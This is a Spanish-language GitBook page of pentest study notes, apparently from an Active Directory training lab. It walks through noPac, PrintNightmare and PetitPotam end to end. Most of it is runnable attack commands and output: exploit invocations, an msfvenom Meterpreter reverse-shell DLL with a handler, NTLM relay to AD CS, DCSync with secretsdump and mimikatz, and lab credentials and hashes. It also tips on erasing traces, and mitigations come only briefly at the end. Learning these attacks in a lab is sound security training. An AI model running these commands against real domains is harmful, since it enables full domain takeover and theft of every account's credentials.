> For the complete documentation index, see [llms.txt](https://g4b0.gitbook.io/g4b0-docs/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://g4b0.gitbook.io/g4b0-docs/documentation/active-directory/bleeding-edge-vulnerabilities.md). # Bleeding Edge Vulnerabilities En este apartado, revisaremos 3 vulnerabilidades recientes ## NoPac (SamAccountName Spoofing) Un claro ejemplo de una amenaza emergente es la vulnerabilidad Sam\_The\_Admin , también conocida como noPac o SamAccountName Spoofing, lanzada a finales de 2021. Esta vulnerabilidad abarca dos CVE (2021-42278 y 2021-42287), que permiten la escalada de privilegios dentro del dominio, desde cualquier usuario estándar hasta el nivel de administrador de dominio, con un solo comando. A continuación, se ofrece un breve resumen de lo que proporciona cada CVE con respecto a esta vulnerabilidad.
Esta vulnerabilidad permite a un atacante obtener acceso total (SYSTEM) en un Controlador de Dominio (DC) engañando al servicio de autenticación Kerberos. ¿Cómo funciona? 1. Creación y falsificación: Un usuario autenticado (que por defecto puede añadir hasta 10 equipos) crea un nuevo equipo en el dominio y cambia su `SamAccountName` para que sea idéntico al del Controlador de Dominio. 2. Confusión de Kerberos: Al solicitar tickets Kerberos, el servicio se confunde por la similitud de los nombres y emite un ticket TGS válido a nombre del Controlador de Dominio original. 3. Compromiso: Con este ticket, el atacante logra acceso privilegiado y puede obtener una *shell* en el DC. ### Clonar el repo de noPac ```bash git clone https://github.com/Ridter/noPac.git ``` Una vez preparado el entorno, podemos utilizar las herramientas de NoPac para evaluar y comprometer el sistema. Inicialmente, el script `scanner.py` nos permite verificar si el Controlador de Dominio es vulnerable al intentar obtener un ticket TGT usando una cuenta de usuario estándar. De confirmarse la vulnerabilidad, se ejecuta el exploit `noPac.py` para tomar el control total del servidor con privilegios máximos (`NT AUTHORITY/SYSTEM`). No obstante, el éxito de este ataque depende de una configuración clave de Active Directory llamada `ms-DS-MachineAccountQuota`, que por defecto permite a los usuarios añadir hasta 10 equipos. Si un administrador configura este valor en 0, el atacante ya no podrá crear la cuenta de máquina necesaria para el engaño, haciendo fracasar este exploit desde el inicio y previniendo, de paso, muchos otros ataques similares. ### Scanning for noPac ```bash sudo python3 scanner.py inlanefreight.local/forend:Klmcargo2 -dc-ip 172.16.5.5 -use-ldap ``` Existen diversas formas de usar NoPac para ampliar nuestro nivel de acceso. Una de las principales consiste en ejecutar el script `noPac.py` para suplantar la cuenta de administrador predeterminada y obtener una consola semi-interactiva con privilegios máximos (SYSTEM) directamente en el Controlador de Dominio. Sin embargo, hay que tener precaución: esta técnica puede generar bastante "ruido" en la red, por lo que corre el riesgo de ser detectada y bloqueada por los antivirus o las soluciones EDR del sistema. ### Ejecutando noPac y obteniendo una Shell ```bash sudo python3 noPac.py INLANEFREIGHT.LOCAL/forend:Klmcargo2 -dc-ip 172.16.5.5 -dc-host ACADEMY-EA-DC01 -shell --impersonate administrator -use-ldap ``` Al ejecutar el ataque, lograremos establecer una sesión de consola semi-interactiva con el sistema objetivo mediante `smbexec.py`. Durante esta sesión, hay un par de detalles operativos importantes que debemos tener en cuenta: * Navegación restringida: En este tipo de consolas no es posible utilizar el clásico comando `cd` para movernos libremente entre carpetas. En su lugar, estaremos obligados a usar las rutas exactas (absolutas) para interactuar con los archivos y directorios. * Almacenamiento del ticket: El script `NoPac.py` guarda automáticamente el ticket Kerberos (TGT) en la misma carpeta del equipo atacante desde la que se lanzó el exploit. Podemos confirmar que el archivo se ha guardado correctamente ejecutando un simple comando `ls`. ### Confirmando la ubicacion de los tickets ```bash ls ``` Una vez obtenido el ticket (guardado como un archivo `.ccache`), se nos abre la puerta a técnicas de post-explotación como el Pass-the-Ticket, lo que nos permite escalar el nivel de compromiso y lanzar ataques más severos, como un DCSync. Como alternativa, la propia herramienta ofrece la posibilidad de utilizar el parámetro `-dump` para automatizar directamente este volcado de credenciales, apoyándose en el script `secretsdump.py`. En cualquier escenario, es vital tener en cuenta que ambos métodos dejarán un archivo `.ccache` físico guardado en el disco de nuestra máquina, el cual deberemos recordar eliminar al terminar la intrusión para no dejar rastros de nuestra actividad. ### Usar noPac para sincronizar con DC la cuenta de administrador integrada ```bash sudo python3 noPac.py INLANEFREIGHT.LOCAL/forend:Klmcargo2 -dc-ip 172.16.5.5 -dc-host ACADEMY-EA-DC01 --impersonate administrator -use-ldap -dump -just-dc-user INLANEFREIGHT/administrator ``` ### Consideraciones sobre Windows Defender y SMBEXEC.py Si el sistema objetivo cuenta con Windows Defender u otra solución de seguridad (como un EDR), es muy probable que, aunque logremos establecer la conexión de la consola, la ejecución de cualquier comando sea bloqueada. Esto se debe al funcionamiento interno de `smbexec.py`: para operar, necesita crear servicios específicos (denominados BTOBTO y BTOBO) y enviar cada instrucción a través de la red (vía SMB) dentro de un archivo llamado `execute.bat`. Básicamente, por cada comando que escribimos, la herramienta genera un nuevo script temporal, lo ejecuta y lo borra inmediatamente. Este ciclo constante de creación y eliminación de archivos ejecutables es un comportamiento muy ruidoso que suele hacer saltar las alarmas, lo cual podremos comprobar al analizar los registros (logs) del antivirus para ver exactamente qué detectó como malicioso. Si mantener un perfil bajo (OPSEC) es una prioridad durante una evaluación, lo más recomendable es evitar el uso de herramientas tan ruidosas como `smbexec.py`. No obstante, el objetivo de esta etapa inicial es construir una base sólida aprendiendo las tácticas y técnicas fundamentales para enumerar y atacar Active Directory. El perfeccionamiento de una metodología más sigilosa y evasiva se abordará más adelante, en módulos más avanzados. ## PrintNightmare PrintNightmare es el nombre con el que se conocen dos graves vulnerabilidades (CVE-2021-34527 y CVE-2021-1675) presentes en el servicio de Cola de Impresión (*Print Spooler*) de todos los sistemas operativos Windows. Estos fallos abren la puerta tanto a la escalada de privilegios como a la ejecución remota de código (RCE). Aunque esta vulnerabilidad se suele enseñar para elevar privilegios de forma local, dominarla en entornos de Active Directory es crucial. En este contexto, nos permite dar un salto remoto y conseguir una consola con privilegios máximos (SYSTEM) directamente en un Controlador de Dominio (como un Windows Server 2019). Para llevar a cabo este ataque en la práctica, el primer paso es preparar nuestro entorno descargando la herramienta adecuada. En este caso, utilizaremos Git para clonar en nuestra máquina de ataque el famoso exploit desarrollado por cube0x0. ```bash git clone https://github.com/cube0x0/CVE-2021-1675.git ``` ### **Install cube0x0's Version of Impacket** 
pip3 uninstall impacket
git clone https://github.com/cube0x0/impacket
cd impacket
python3 ./setup.py install
Primero, utilizamos `rpcdump.py` para comprobar si los protocolos *Print System Asynchronous* y *Print System Remote* están expuestos en el servidor objetivo. ### **Enumerating for MS-RPRN** ```bash rpcdump.py @172.16.5.5 | egrep 'MS-RPRN|MS-PAR' Protocol: [MS-PAR]: Print System Asynchronous Remote Protocol Protocol: [MS-RPRN]: Print System Remote Protocol ``` Una vez confirmado lo anterior, procedemos a generar nuestro archivo malicioso en formato DLL utilizando la herramienta `msfvenom`. ### **Generating a DLL Payload** 
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=172.16.5.225 LPORT=8080 -f dll > backupscript.dll

[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 510 bytes
Final size of dll file: 8704 bytes
A continuación, levantamos un recurso compartido SMB en nuestra máquina atacante mediante `smbserver.py` para alojar y exponer el *payload* que acabamos de crear. ### **Creating a Share with smbserver.py** ```bash sudo smbserver.py -smb2support CompData /path/to/backupscript.dll ``` Finalmente, con el archivo listo en la red, configuramos e iniciamos un *multi handler* en Metasploit (MSF). Este se encargará de atrapar la conexión de la *reverse shell* en cuanto el servidor víctima ejecute el *payload*. ### **Configuring & Starting MSF multi/handler** ```bash [msf](Jobs:0 Agents:0) >> use exploit/multi/handler [*] Using configured payload generic/shell_reverse_tcp [msf](Jobs:0 Agents:0) exploit(multi/handler) >> set PAYLOAD windows/x64/meterpreter/reverse_tcp PAYLOAD => windows/x64/meterpreter/reverse_tcp [msf](Jobs:0 Agents:0) exploit(multi/handler) >> set LHOST 172.16.5.225 LHOST => 10.3.88.114 [msf](Jobs:0 Agents:0) exploit(multi/handler) >> set LPORT 8080 LPORT => 8080 [msf](Jobs:0 Agents:0) exploit(multi/handler) >> run [*] Started reverse TCP handler on 172.16.5.225:8080 ``` Con el recurso compartido (*share*) alojando nuestro *payload* y el *handler* a la escucha, ya tenemos todo preparado para lanzar el ataque contra el servidor objetivo. Para ejecutar el exploit, utilizaremos el siguiente comando: ### **Running the Exploit** ```bash sudo python3 CVE-2021-1675.py inlanefreight.local/forend:Klmcargo2@172.16.5.5 '\\172.16.5.225\CompData\backupscript.dll' ``` Como detalle clave, al final del comando debemos indicar la ruta de red (el *share*) donde hemos alojado nuestro archivo malicioso o *payload* (`\\\\`). Si el exploit se ejecuta con éxito, el servidor objetivo accederá a esa ruta y ejecutará el archivo. Inmediatamente después, el *payload* se conectará de vuelta a nuestro *handler* (el programa que dejamos a la escucha), entregándonos finalmente una consola con los máximos privilegios posibles (SYSTEM) ### **Getting the SYSTEM Shell** ```bash [*] Sending stage (200262 bytes) to 172.16.5.5 [*] Meterpreter session 1 opened (172.16.5.225:8080 -> 172.16.5.5:58048 ) at 2022-03-29 13:06:20 -0400 (Meterpreter 1)(C:\Windows\system32) > shell Process 5912 created. Channel 1 created. Microsoft Windows [Version 10.0.17763.737] (c) 2018 Microsoft Corporation. All rights reserved. C:\Windows\system32>whoami whoami nt authority\system ``` Una vez ejecutado el exploit, observaremos que se abre una sesión de Meterpreter. Desde allí, podemos interactuar con el sistema y abrir una consola de comandos (*shell*) para confirmar que hemos logrado escalar hasta obtener los privilegios más altos posibles (`NT AUTHORITY\SYSTEM`) en el Controlador de Dominio. El aspecto más crítico e impactante de este resultado es que conseguimos tomar el control total del servidor partiendo exclusivamente desde el acceso básico de una cuenta de usuario estándar del dominio. ## PetitPotam (MS-EFSRPC) PetitPotam es una vulnerabilidad crítica (parcheada en agosto de 2021) que permite a un atacante, sin necesidad de autenticarse, forzar a un Controlador de Dominio a que se autentique contra otra máquina. Para lograr esto, se abusa del protocolo MS-EFSRPC de Microsoft. ¿Por qué es tan peligroso? Si el entorno objetivo utiliza los Servicios de Certificados de Active Directory (AD CS), esta vulnerabilidad permite tomar el control absoluto del dominio mediante el siguiente flujo: 1. Relevo (Relay): El atacante coacciona al Controlador de Dominio y redirige (hace un *relay*) su solicitud de autenticación hacia la página web de la Autoridad Certificadora (CA). 2. Obtención del Certificado: Al estar autenticados como el Controlador de Dominio, se solicita la creación de un nuevo certificado digital a su nombre. 3. Compromiso Total: Con este certificado en mano, se utilizan herramientas como `Rubeus` o `gettgtpkinit.py` para solicitar un ticket Kerberos (TGT) del Controlador de Dominio. Finalmente, esto permite ejecutar un ataque DCSync y robar todas las contraseñas del dominio. Paso Práctico (Preparación): Para iniciar el ataque, el primer paso es dejar corriendo la herramienta `ntlmrelayx.py` en nuestra máquina atacante. Debemos configurarla para que apunte a la URL de la Autoridad Certificadora (CA) y utilizar plantillas específicas como *KerberosAuthentication* o *DomainController*. *(Nota: Si al realizar este ataque no sabemos cuál es la dirección de la CA en la red, podemos apoyarnos en herramientas como `certi` para localizarla).* ### Iniciando ntlmrelay.py ```bash sudo ntlmrelayx.py -debug -smb2support --target http://ACADEMY-EA-CA01.INLANEFREIGHT.LOCAL/certsrv/certfnsh.asp --adcs --template DomainController ``` En una terminal adicional, lanzamos la herramienta `PetitPotam.py` para forzar al Controlador de Dominio a autenticarse contra nuestra máquina atacante (donde previamente dejamos corriendo `ntlmrelayx.py`). En este caso, el ataque coacciona la autenticación abusando específicamente del método `EfsRpcOpenFileRaw`. La herramienta es muy flexible y cuenta con diferentes implementaciones según el entorno desde el que ataquemos: * Versión en Python (Linux): `python3 PetitPotam.py ` * A través de Mimikatz (Módulo EFS): `misc::efs /server: /connect:` * Otras alternativas: También existe una versión compilada en ejecutable (.exe) para correr directamente desde Windows, así como un script nativo en PowerShell llamado `Invoke-PetitPotam.ps1`. ### Running PetitPotam.py ```bash python3 PetitPotam.py 172.16.5.225 172.16.5.5 ``` ### **Catching Base64 Encoded Certificate for DC01** De vuelta en la primera terminal (donde dejamos corriendo `ntlmrelayx.py`), si el ataque resulta exitoso, observaremos que el inicio de sesión se ha completado correctamente y la herramienta nos entregará el certificado del Controlador de Dominio codificado en formato base64. ```bash sudo ntlmrelayx.py -debug -smb2support --target http://ACADEMY-EA-CA01.INLANEFREIGHT.LOCAL/certsrv/certfnsh.asp --adcs --template DomainController ``` ### **Requesting a TGT Using gettgtpkinit.py** A continuación, con este certificado en formato base64 en nuestro poder, utilizaremos la herramienta `gettgtpkinit.py` para solicitar un ticket TGT (Ticket-Granting-Ticket) a nombre del Controlador de Dominio. ```bash python3 /opt/PKINITtools/gettgtpkinit.py INLANEFREIGHT.LOCAL/ACADEMY-EA-DC01\$ -pfx-base64 MIIStQIBAzCCEn8GCSqGSI...SNIP...CKBdGmY= dc01.ccache ``` ### **Setting the KRB5CCNAME Environment Variable** El TGT obtenido en el paso anterior se guarda en el archivo `dc01.ccache`. Para que nuestra máquina de ataque utilice este ticket en sus próximas autenticaciones mediante Kerberos, debemos exportarlo configurando la variable de entorno `KRB5CCNAME`. ```bash export KRB5CCNAME=dc01.ccache ``` ### **Using Domain Controller TGT to DCSync** A continuación, podemos utilizar este TGT junto con la herramienta `secretsdump.py` para ejecutar un ataque DCSync. Esto nos permitirá extraer uno, o incluso todos, los hashes de contraseñas NTLM de los usuarios del dominio. ```bash secretsdump.py -just-dc-user INLANEFREIGHT/administrator -k -no-pass "ACADEMY-EA-DC01$"@ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL ``` También podemos optar por un comando más directo con `secretsdump.py`: ```bash secretsdump.py -just-dc-user INLANEFREIGHT/administrator -k -no-pass ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL ``` Esto funciona porque la herramienta lee automáticamente el nombre de usuario directamente desde el archivo `.ccache`. Además, podemos comprobar que el ticket está correctamente cargado en nuestra sesión ejecutando el comando `klist` (ten en cuenta que usar este comando requiere tener instalado el paquete `krb5-user` en la máquina atacante, aunque en el laboratorio ya viene preinstalado). ### **Running klist** ```bash klist Ticket cache: FILE:dc01.ccache Default principal: ACADEMY-EA-DC01$@INLANEFREIGHT.LOCAL Valid starting Expires Service principal 04/05/2022 15:56:34 04/06/2022 01:56:34 krbtgt/INLANEFREIGHT.LOCAL@INLANEFREIGHT.LOCAL ``` ### **Confirming Admin Access to the Domain Controller** Finalmente, podemos utilizar el hash NT de la cuenta de Administrador (obtenido tras el volcado de credenciales) para autenticarnos directamente en el Controlador de Dominio. Llegados a este punto, habremos conseguido el control total del entorno. A partir de aquí, las fases de post-explotación típicas incluirían: * Establecer persistencia en la red. * Buscar información o datos sensibles. * Identificar nuevas vulnerabilidades o malas configuraciones para documentarlas en el informe final. * Comenzar a enumerar las relaciones de confianza (trusts) con otros dominios para seguir expandiendo el acceso. ```bash crackmapexec smb 172.16.5.5 -u administrator -H 88ad09182de639ccc6579eb0849751cf SMB 172.16.5.5 445 ACADEMY-EA-DC01 [*] Windows 10.0 Build 17763 x64 (name:ACADEMY-EA-DC01) (domain:INLANEFREIGHT.LOCAL) (signing:True) (SMBv1:False) SMB 172.16.5.5 445 ACADEMY-EA-DC01 [+] INLANEFREIGHT.LOCAL\administrator 88ad09182de639ccc6579eb0849751cf (Pwn3d!) ``` ### **Submitting a TGS Request for Ourselves Using getnthash.py** Existe una ruta alternativa una vez que ya poseemos el TGT del objetivo. Apoyándonos en la herramienta `getnthash.py` (del paquete PKINITtools), es posible extraer directamente el hash NT del usuario o equipo víctima. El proceso funciona de la siguiente manera: se utiliza Kerberos U2U para enviar una petición TGS que incluya el PAC (*Privileged Attribute Certificate*), un certificado que contiene el hash NT que buscamos. Finalmente, la herramienta descifra este hash utilizando la clave de cifrado AS-REP que conseguimos previamente al solicitar el TGT. ```bash python /opt/PKINITtools/getnthash.py -key 70f805f9c91ca91836b670447facb099b4b2b7cd5b762386b3369aa16d912275 INLANEFREIGHT.LOCAL/ACADEMY-EA-DC01$ ``` We can then use this hash to perform a DCSync with secretsdump.py using the `-hashes` flag. ### **Using Domain Controller NTLM Hash to DCSync** ```bash secretsdump.py -just-dc-user INLANEFREIGHT/administrator "ACADEMY-EA-DC01$"@172.16.5.5 -hashes aad3c435b514a4eeaad3b935b51304fe:313b6f423cd1ee07e91315b4919fb4ba ``` Como alternativa, una vez obtenido el certificado en base64 mediante `ntlmrelayx.py`, podemos utilizarlo junto con Rubeus desde una máquina atacante Windows. Esta herramienta nos permite automatizar el proceso: solicita el ticket TGT y realiza el ataque Pass-the-Ticket (PTT) de forma simultánea. *(Nota para el entorno de laboratorio: Para ejecutar este método con Rubeus, será necesario guardar el certificado y utilizar la máquina Windows `MS01`, la cual estará disponible en secciones posteriores del módulo, como las de abuso de ACL o acceso privilegiado).* ### **Requesting TGT and Performing PTT with DC01$ Machine Account** ```powershell .\Rubeus.exe asktgt /user:ACADEMY-EA-DC01$ /certificate:MIIStQIBAzC...SNIP...IkHS2vJ51Ry4= /ptt ``` Confirmamos los tickets en memoeria con klist ### **Confirming the Ticket is in Memory** ```powershell PS C:\Tools> klist ``` Como los Controladores de Dominio poseen privilegios de replicación por defecto, podemos aprovechar el ataque *Pass-the-Ticket* para ejecutar un DCSync utilizando Mimikatz desde nuestra máquina atacante Windows. En este punto, el objetivo principal suele ser extraer el hash NT de la cuenta KRBTGT. Con este hash en nuestro poder, podemos forjar un *Golden Ticket* (Ticket Dorado), lo que nos garantiza acceso y persistencia en la red a largo plazo. De igual manera, esta técnica nos permite volcar el hash de cualquier otro usuario con altos privilegios, allanando el camino para avanzar hacia las siguientes fases de la evaluación. ### **Performing DCSync with Mimikatz** ```powershell PS C:\Tools> cd .\mimikatz\x64\ PS C:\Tools\mimikatz\x64> .\mimikatz.exe mimikatz # lsadump::dcsync /user:inlanefreight\krbtgt ``` *** ### PetitPotam Mitigations El primer paso indispensable es aplicar el parche de la vulnerabilidad CVE-2021-36942 en todos los equipos afectados. Sin embargo, para blindar verdaderamente el entorno frente a ataques de relevo (relay), se deben implementar las siguientes medidas adicionales: * Forzar conexiones seguras: Habilitar la *Protección Ampliada para la Autenticación* (EPA) y exigir SSL (solo conexiones HTTPS) en los servicios web de inscripción de certificados. * Erradicar NTLM: Se recomienda desactivar por completo la autenticación NTLM en los siguientes puntos clave: * Los Controladores de Dominio. * Los servidores de AD CS (aplicándolo mediante Políticas de Grupo). * El servicio IIS de los servidores AD CS que alojen la inscripción web. Más allá del parche: El riesgo persiste Es crucial entender que aplicar únicamente el parche contra PetitPotam no es suficiente para asegurar un entorno con AD CS. En muchos casos, un atacante que ya posea credenciales de un usuario estándar del dominio aún puede comprometer el servicio realizando llamadas legítimas a la API. Para comprender mejor este escenario, se recomienda encarecidamente la lectura del *whitepaper* (informe técnico) "Certified Pre-Owned". Este documento demuestra cómo se ejecutan estos ataques autenticados y ofrece una guía detallada con estrategias avanzadas para detectar amenazas y fortificar los Servicios de Certificados de Active Directory. ### Recap La mayor peligrosidad de estas vulnerabilidades radica en su baja barrera de entrada. Pueden ejecutarse teniendo únicamente acceso como usuario estándar del dominio (como en el caso de NoPac y PrintNightmare) o, en el peor de los escenarios, sin requerir ningún tipo de autenticación previa (como PetitPotam). En todos los casos, el resultado suele ser el compromiso total del dominio con relativa facilidad. La Importancia de la Práctica Los ataques contra Active Directory están en constante evolución (y el abuso de AD CS es un mundo tan amplio que daría para su propio módulo). Cuando surgen nuevas vulnerabilidades de este calibre, la mejor práctica es recrearlas en un entorno de laboratorio. Esto cumple un doble propósito: 1. Nos prepara para ejecutar el exploit de forma segura y efectiva durante un *pentest* real. 2. Profundiza nuestra comprensión técnica, permitiéndonos asesorar con mayor precisión a los clientes sobre el impacto real, la detección y la mitigación de la brecha.
--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://g4b0.gitbook.io/g4b0-docs/documentation/active-directory/bleeding-edge-vulnerabilities.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.